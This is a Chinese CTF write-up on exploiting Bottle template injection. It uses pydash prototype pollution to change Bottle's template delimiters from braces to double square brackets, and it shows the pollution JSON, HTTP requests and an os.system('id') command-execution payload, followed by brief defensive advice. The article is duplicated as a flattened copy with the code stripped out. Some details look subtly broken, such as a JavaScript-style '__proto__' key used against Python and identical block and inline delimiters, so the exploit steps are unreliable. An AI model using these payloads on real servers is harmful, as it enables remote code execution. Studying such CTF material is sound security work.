记一次bottle框架的渲染标识符挖掘
字数 1367 2025-08-29 08:29:59

Bottle框架渲染标识符挖掘与SSTI漏洞利用分析

前言

本文记录了对Bottle框架模板渲染标识符的挖掘过程,通过原型链污染修改模板渲染标识符,绕过过滤实现SSTI(服务器端模板注入)漏洞利用的技术细节。该技术源于NCTF2024的"ez_dash_revenge"题目,结合了pydash原型链污染和Bottle模板渲染漏洞。

漏洞背景

题目环境包含两个关键路由:

  1. setValue路由:存在pydash原型链污染漏洞
  2. render路由:存在SSTI漏洞,但过滤了{}字符

技术要点

1. Bottle框架模板渲染基础

Bottle框架支持在模板中嵌入Python代码,使用以下标识符:

  • %:单行Python代码
  • <%%>:多行Python代码块

2. 模板渲染标识符定义位置

Bottle框架的模板渲染标识符定义在bottle.py文件的StplParser类中,关键变量包括:

  • block_start
  • block_close
  • inline_end
  • inline_start

3. 标识符污染思路

由于题目过滤了{},尝试通过原型链污染将标识符修改为[[]],从而绕过过滤实现SSTI。

详细分析过程

1. 定位标识符定义

通过分析bottle.py源代码,发现标识符定义在StplParser类的set_syntax方法中:

def set_syntax(self, syntax):
    """ Define syntax rules via string. """
    names = syntax or '{% %} % {{ }}'
    self.block_start, self.block_close, \
    self.inline_start, self.inline_end = names.split()

2. 原型链污染利用

使用pydash的setValue方法污染标识符:

# 污染payload
{
    "__proto__": {
        "block_start": "[[",
        "block_close": "]]",
        "inline_start": "[[",
        "inline_end": "]]"
    }
}

3. 污染后的模板渲染

污染成功后,模板渲染标识符从{{}}变为[[]],可以绕过对{}的过滤:

# 原始SSTI payload
{{7*7}}

# 污染后使用的payload
[[7*7]]

4. 调试过程中的关键发现

在调试过程中发现几个关键点:

  1. 模板查找机制:Bottle会在./views/目录下寻找模板文件

  2. 渲染流程

    • 调用template()函数
    • 进入templates()函数
    • 初始化模板引擎类
    • 调用prepare()函数
    • 最终调用render()方法
  3. 关键执行点exec()函数是实际执行模板代码的关键位置

5. 污染注意事项

污染标识符时需要保持匹配关系,否则会导致KeyError。例如:

  • 不能只污染block_start而不污染block_close
  • 需要保持inline_startinline_end的配对

完整利用流程

  1. 实施原型链污染

    POST /setValue HTTP/1.1
    Content-Type: application/json
    
    {
        "__proto__": {
            "block_start": "[[",
            "block_close": "]]",
            "inline_start": "[[",
            "inline_end": "]]"
        }
    }
    
  2. 触发SSTI

    GET /render?name=[[7*7]] HTTP/1.1
    
  3. 利用结果
    页面将返回计算结果49,证明SSTI成功

绕过技巧

当污染所有标识符为[[]]时,可能导致模板查找进入错误分支。解决方法是在payload中包含$字符:

GET /render?name=[[$import os;os.system('id')]] HTTP/1.1

防御建议

  1. 避免使用不安全的模板渲染函数
  2. 对用户输入进行严格过滤
  3. 避免将用户可控数据传入原型对象
  4. 使用最新版本的框架和依赖库

参考资源

  1. NCTF2024 "ez_dash_revenge"题目
  2. GHCTF2025 "Message in a Bottle"题目
  3. Bottle框架官方文档
  4. Pydash原型链污染相关研究

通过本文的分析,我们深入了解了Bottle框架模板渲染机制和如何通过原型链污染修改渲染标识符实现SSTI的技术细节。这种技术在CTF比赛中具有实际应用价值,同时也提醒开发者在实际项目中需要注意此类安全问题。

Bottle框架渲染标识符挖掘与SSTI漏洞利用分析 前言 本文记录了对Bottle框架模板渲染标识符的挖掘过程,通过原型链污染修改模板渲染标识符,绕过过滤实现SSTI(服务器端模板注入)漏洞利用的技术细节。该技术源于NCTF2024的"ez_ dash_ revenge"题目,结合了pydash原型链污染和Bottle模板渲染漏洞。 漏洞背景 题目环境包含两个关键路由: setValue 路由:存在pydash原型链污染漏洞 render 路由:存在SSTI漏洞,但过滤了 { 和 } 字符 技术要点 1. Bottle框架模板渲染基础 Bottle框架支持在模板中嵌入Python代码,使用以下标识符: % :单行Python代码 <% 和 %> :多行Python代码块 2. 模板渲染标识符定义位置 Bottle框架的模板渲染标识符定义在 bottle.py 文件的 StplParser 类中,关键变量包括: block_start block_close inline_end inline_start 3. 标识符污染思路 由于题目过滤了 {} ,尝试通过原型链污染将标识符修改为 [[]] ,从而绕过过滤实现SSTI。 详细分析过程 1. 定位标识符定义 通过分析 bottle.py 源代码,发现标识符定义在 StplParser 类的 set_syntax 方法中: 2. 原型链污染利用 使用pydash的 setValue 方法污染标识符: 3. 污染后的模板渲染 污染成功后,模板渲染标识符从 {{}} 变为 [[]] ,可以绕过对 {} 的过滤: 4. 调试过程中的关键发现 在调试过程中发现几个关键点: 模板查找机制 :Bottle会在 ./views/ 目录下寻找模板文件 渲染流程 : 调用 template() 函数 进入 templates() 函数 初始化模板引擎类 调用 prepare() 函数 最终调用 render() 方法 关键执行点 : exec() 函数是实际执行模板代码的关键位置 5. 污染注意事项 污染标识符时需要保持匹配关系,否则会导致 KeyError 。例如: 不能只污染 block_start 而不污染 block_close 需要保持 inline_start 和 inline_end 的配对 完整利用流程 实施原型链污染 : 触发SSTI : 利用结果 : 页面将返回计算结果 49 ,证明SSTI成功 绕过技巧 当污染所有标识符为 [[]] 时,可能导致模板查找进入错误分支。解决方法是在payload中包含 $ 字符: 防御建议 避免使用不安全的模板渲染函数 对用户输入进行严格过滤 避免将用户可控数据传入原型对象 使用最新版本的框架和依赖库 参考资源 NCTF2024 "ez_ dash_ revenge"题目 GHCTF2025 "Message in a Bottle"题目 Bottle框架官方文档 Pydash原型链污染相关研究 通过本文的分析,我们深入了解了Bottle框架模板渲染机制和如何通过原型链污染修改渲染标识符实现SSTI的技术细节。这种技术在CTF比赛中具有实际应用价值,同时也提醒开发者在实际项目中需要注意此类安全问题。